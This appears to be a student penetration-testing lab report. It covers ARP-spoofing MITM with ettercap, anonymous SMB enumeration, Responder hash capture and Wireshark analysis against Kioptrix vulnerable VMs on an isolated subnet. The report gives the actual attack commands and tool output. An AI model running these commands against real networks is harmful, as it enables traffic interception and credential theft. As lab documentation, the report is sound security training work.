



Network Protocol Attacks Lab Documentation

Introduction:

This document provides a comprehensive overview of the Network Protocol Attacks Lab conducted to demonstrate Man-in-the-Middle (MITM) attacks and protocol exploitation techniques. The lab focused on practical implementation of ARP spoofing, traffic interception, and protocol analysis using industry-standard security tools in a controlled environment.

1. Lab Overview & Objectives

1.1 Primary Objectives

- **Execute ARP Spoofing** using Ettercap for Man-in-the-Middle positioning
- **Capture and Analyze Network Traffic** using Wireshark
- **Exploit Protocol Vulnerabilities** in SMB and HTTP services
- **Implement Safety Measures** to ensure ethical testing practices
- **Document Findings** with comprehensive evidence collection

1.2 Lab Environment

Tools Utilized:

- **Ettercap** - ARP spoofing and MITM attacks
- **Wireshark** - Network traffic analysis
- **Responder** - SMB relay and hash capture
- **iptables** - Network safety and isolation
- **smbclient** - SMB protocol testing
- **curl** - HTTP protocol testing

Target Systems:

- **Kioptrix Level 1:** 192.168.29.131 (Samba, Apache)
- **Kioptrix Level 2:** 192.168.29.55 (Apache, MySQL)
- **Gateway Router:** 192.168.29.1



2. Pre-Assessment Configuration

2.1 Service Enumeration Results:

Kioptrix Level 1 (192.168.29.131):

```
nmap -sV 192.168.29.131
```

Kioptrix Level 2 (192.168.29.55):

```
nmap -sV 192.168.29.55
```

Key Findings:

- **Kioptrix Level 1:** OpenSSH 2.9p2, Apache 1.3.20, Samba smbd
- **Kioptrix Level 2:** OpenSSH 3.9p1, Apache 2.0.52, MySQL
- Multiple services identified for protocol exploitation

2.2 iptables Configuration for Ethical Testing:

Commands:

Block non-target devices

```
sudo iptables -I FORWARD -s 192.168.29.157 -j DROP  
sudo iptables -I FORWARD -d 192.168.29.157 -j DROP
```

Allow lab devices only

```
sudo iptables -I FORWARD -s 192.168.29.131 -j ACCEPT  
sudo iptables -I FORWARD -d 192.168.29.131 -j ACCEPT  
sudo iptables -I FORWARD -s 192.168.29.55 -j ACCEPT  
sudo iptables -I FORWARD -d 192.168.29.55 -j ACCEPT
```



3.1 Man-in-the-Middle Attack Execution

MITM Attack Parameters:

- **Technique:** ARP Cache Poisoning
- **Interface:** eth0
- **Targets:** Gateway (192.168.29.1) ↔ Kioptrix Level 1 (192.168.29.131)
- **Mode:** Unified sniffing with real-time packet manipulation

Caption: Active MITM attack showing ARP poisoning between gateway (192.168.29.1) and Kioptrix Level 1 (192.168.29.131) with packet interception counters.

```
(macson10@nightslayer)-[~]
$ sudo ettercap -T -i eth0 -M arp:remote /192.168.29.1// /192.168.29.131//
[sudo] password for macson10:

ettercap 0.8.3.1 copyright 2001-2020 Ettercap Development Team

Listening on:
  eth0 → 00:0C:29:DC:DF:22
        192.168.29.62/255.255.255.0
        fe80::20c:29ff:fedc:df22/64
        2405:201:d04e:6878:20c:29ff:fedc:df22/64
        2405:201:d04e:6878:490e:287d:1940:d853/64

SSL dissection needs a valid 'redir_command_on' script in the etter.conf file
Ettercap might not work correctly. /proc/sys/net/ipv6/conf/eth0/use_tempaddr is not set to 0.
Privileges dropped to EUID 65534 EGID 65534...

  34 plugins
  42 protocol dissectors
  57 ports monitored
28230 mac vendor fingerprint
1766 tcp OS fingerprint
2182 known services
Lua: no scripts were specified, not starting up!

Scanning for merged targets (2 hosts)...

* |=====| 100.00 %
```



3.2 SMB Protocol Analysis

Smb enumeration:

```
smbclient -L 192.168.29.131 -N
smbclient //192.168.29.131/IPC$ -N
```

Critical Finding: Anonymous SMB Access

- **Vulnerability:** Samba server configured for anonymous access
- **Shares Accessible:** IPC\$, ADMIN\$
- **Workgroup:** MYGROUP
- **Risk Level:** High - unauthorized share access

Figure 3: SMB Anonymous Access Evidence

Caption: Successful anonymous connection to Kioptrix Level 1 Samba shares demonstrating critical misconfiguration.

```
(macson10@nightslayer)-[~]
$ smbclient -L 192.168.29.131 -N
Server does not support EXTENDED_SECURITY but 'client use spnego = yes' and 'client ntlmv2 auth = yes' is set
Anonymous login successful

  Sharename      Type      Comment
  -----
  IPC$           IPC       IPC Service (Samba Server)
  ADMIN$         IPC       IPC Service (Samba Server)
Reconnecting with SMB1 for workgroup listing.
Server does not support EXTENDED_SECURITY but 'client use spnego = yes' and 'client ntlmv2 auth = yes' is set
Anonymous login successful

  Server      Comment
  -----
  KIOPTRIX    Samba Server

  Workgroup    Master
  MYGROUP      KIOPTRIX
```



```
(macson10@nightslayer)-[~]
$ smbclient //192.168.29.131/IPC$
Server does not support EXTENDED_SECURITY but 'client use spnego = yes' and 'client ntlmv2 auth = yes' is set
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> help
?
blocksize      cancel         altname        archive        backup
chown          close         case_sensitive cd              chmod
du            echo          del            deltree        dir
geteas        hardlink      exit           get            getfacl
lcd           link          help           history        iosize
l            mask          lock           lowercase      ls
mkfifo        more          md             mget           mkdir
open          posix         mput           newer          notify
posix_rmdir   posix_unlink  posix_encrypt  posix_open     posix_mkdir
put           pwd           q             print          prompt
readlink      rd            recurse        reget          rename
reput         rm            rmdir          showacls       setea
setmode       scopy         stat           symlink        tar
tarmode       timeout       translate      unlock         volume
vuid          wdel          logon          listconnect    showconnect
tcon          tdis         tid            utimes         logoff
..            !
smb: \> pwd
Current directory is \\192.168.29.131\IPC\
```

3.3 HTTP Protocol Analysis

Web Service Testing:

curl -v <http://192.168.29.131>

```
(macson10@nightslayer)-[~]
$ curl -v http://192.168.29.131
* Trying 192.168.29.131:80...
* Connected to 192.168.29.131 (192.168.29.131) port 80
* using HTTP/1.x
> GET / HTTP/1.1
> Host: 192.168.29.131
> User-Agent: curl/8.15.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Date: Thu, 20 Nov 2025 07:51:59 GMT
< Server: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
< Last-Modified: Thu, 06 Sep 2001 03:12:46 GMT
< ETag: "8805-b4a-3b96e9ae"
< Accept-Ranges: bytes
< Content-Length: 2890
< Connection: close
< Content-Type: text/html
<
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<HTML>
  <HEAD>
    <TITLE>Test Page for the Apache Web Server on Red Hat Linux</TITLE>
  </HEAD>
  <!-- Background white, links blue (unvisited), navy (visited), red (active) -->
  <BODY BGCOLOR="#FFFFFF">
```



```
SMTP server      [ON]
DNS server       [ON]
LDAP server      [ON]
MQTT server      [ON]
RDP server       [ON]
DCE-RPC server   [ON]
WinRM server     [ON]
SNMP server      [ON]

[+] HTTP Options:
  Always serving EXE [OFF]
  Serving EXE        [OFF]
  Serving HTML       [OFF]
  Upstream Proxy     [OFF]

[+] Poisoning Options:
  Analyze Mode       [OFF]
  Force WPAD auth    [ON]
  Force Basic Auth   [OFF]
  Force LM downgrade [OFF]
  Force ESS downgrade [OFF]

[+] Generic Options:
  Responder NIC      [eth0]
  Responder IP       [192.168.29.62]
  Responder IPv6     [2405:201:d04e:6878:490e:287d:1940:d853]
  Challenge set      [random]
  Don't Respond To Names ['ISATAP', 'ISATAP.LOCAL']
  Don't Respond To MDNS TLD ['_DOSVC']
  TTL for poisoned response [default]

[+] Current Session Variables:
  Responder Machine Name [WIN-1H01033L0MB]
  Responder Domain Name  [OUGO.LOCAL]
  Responder DCE-RPC Port [45046]

[*] Version: Responder 3.1.7.0
[*] Author: Laurent Gaffie, <lgaffie@secorizon.com>
[*] To sponsor Responder: https://paypal.me/PythonResponder

[+] Listening for events...
```



4. Traffic Analysis with Wireshark

4.1 Network Traffic Capture:

- **Protocols Analyzed:** HTTP, SMB, TCP, UDP
- **Intercepted Sessions:** Multiple TCP handshakes and data transfers
- **Evidence:** Complete communication flow between targets through MITM

Figure 5: Wireshark Traffic Analysis

Caption: Comprehensive packet capture showing intercepted network traffic between lab devices during MITM attack.

No.	Time	Source	Destination	Protocol	Length	Info
219	12.085831128	192.168.29.62	192.168.29.131	TCP	74	60330 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=93991238 TSecr=0 WS=512
220	12.087631066	192.168.29.131	192.168.29.62	TCP	74	80 → 60330 [SYN, ACK] Seq=0 Ack=1 Win=5792 Len=0 MSS=1460 SACK_PERM TSval=185335 TSecr=93991238 WS=1
221	12.087727795	192.168.29.62	192.168.29.131	TCP	66	60330 → 80 [ACK] Seq=1 Ack=1 Win=64512 Len=0 TSval=93991232 TSecr=185335
222	12.088226883	192.168.29.62	192.168.29.131	HTTP	144	GET / HTTP/1.1
223	12.089337232	192.168.29.131	192.168.29.62	TCP	66	80 → 60330 [ACK] Seq=1 Ack=79 Win=5792 Len=0 TSval=185335 TSecr=93991233
224	12.013286721	192.168.29.131	192.168.29.62	TCP	1514	80 → 60330 [ACK] Seq=1 Ack=79 Win=5792 Len=1448 TSval=185336 TSecr=93991233 [TCP PDU reassembled in 228]
225	12.013287983	192.168.29.131	192.168.29.62	TCP	1514	80 → 60330 [ACK] Seq=1449 Ack=79 Win=5792 Len=1448 TSval=185336 TSecr=93991233 [TCP PDU reassembled in 228]
226	12.013331366	192.168.29.62	192.168.29.131	TCP	66	60330 → 80 [ACK] Seq=79 Ack=1449 Win=67584 Len=0 TSval=93991238 TSecr=185336
227	12.013417527	192.168.29.62	192.168.29.131	TCP	66	60330 → 80 [ACK] Seq=79 Ack=2897 Win=70656 Len=0 TSval=93991238 TSecr=185336
228	12.013771457	192.168.29.131	192.168.29.62	HTTP	353	HTTP/1.1 200 OK (text/html)
229	12.013870884	192.168.29.62	192.168.29.131	TCP	66	60330 → 80 [FIN, ACK] Seq=79 Ack=3185 Win=73216 Len=0 TSval=93991238 TSecr=185336
230	12.014233544	192.168.29.131	192.168.29.62	TCP	66	80 → 60330 [ACK] Seq=3185 Ack=80 Win=5792 Len=0 TSval=185336 TSecr=93991238
251	18.684754464	192.168.29.62	192.168.29.131	TCP	74	52706 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=93997829 TSecr=0 WS=512
252	18.685798668	192.168.29.131	192.168.29.62	TCP	74	80 → 52706 [SYN, ACK] Seq=0 Ack=1 Win=5792 Len=0 MSS=1460 SACK_PERM TSval=185995 TSecr=93997829 WS=1
253	18.685875256	192.168.29.62	192.168.29.131	TCP	66	52706 → 80 [ACK] Seq=1 Ack=1 Win=64512 Len=0 TSval=93997830 TSecr=185995
254	18.686352132	192.168.29.62	192.168.29.131	HTTP	144	GET / HTTP/1.1
255	18.687480828	192.168.29.131	192.168.29.62	TCP	66	80 → 52706 [ACK] Seq=1 Ack=79 Win=5792 Len=0 TSval=185995 TSecr=93997831
256	18.688381227	192.168.29.131	192.168.29.62	TCP	1514	80 → 52706 [ACK] Seq=1 Ack=79 Win=5792 Len=1448 TSval=185995 TSecr=93997831 [TCP PDU reassembled in 259]
257	18.688467299	192.168.29.62	192.168.29.131	TCP	66	52706 → 80 [ACK] Seq=79 Ack=1449 Win=67584 Len=0 TSval=93997833 TSecr=185995

5. Results & Findings

5.1 Attack Success Metrics

Attack Vector	Status	Evidence Captured	Risk Level
ARP Spoofing MITM	☒ Success	Packet counters, traffic flow	High
SMB Hash Capture	☒ Partial	Authentication attempts	Critical
HTTP Interception	☒ Success	Full HTTP sessions	Medium



Attack Vector	Status	Evidence Captured	Risk Level
Safety Compliance	☒ Success	iptables rules active	N/A

Critical Vulnerabilities Identified

1. SMB Misconfiguration (Critical)

- Anonymous access enabled
- No authentication required for share access
- Potential for credential harvesting

2. Lack of ARP Monitoring (High)

- Successful ARP poisoning undetected
- No network-level protection against MITM
- Clear text protocol exposure

3. Outdated Services (Medium-High)

- Apache 1.3.20 with known vulnerabilities
- OpenSSL 0.9.6b - outdated cryptographic libraries
- Potential for service-specific exploits

Conclusion

This security assessment successfully demonstrated multiple network protocol vulnerabilities and attack techniques in a controlled laboratory environment. The findings highlight critical risks associated with legacy services, weak protocol implementations, and insufficient network monitoring.

Key Takeaways:

- ARP-based MITM attacks remain highly effective against unprotected networks
- Legacy services present significant security risks requiring immediate attention
- Comprehensive network monitoring is essential for threat detection
- Defense-in-depth strategies are crucial for modern network security



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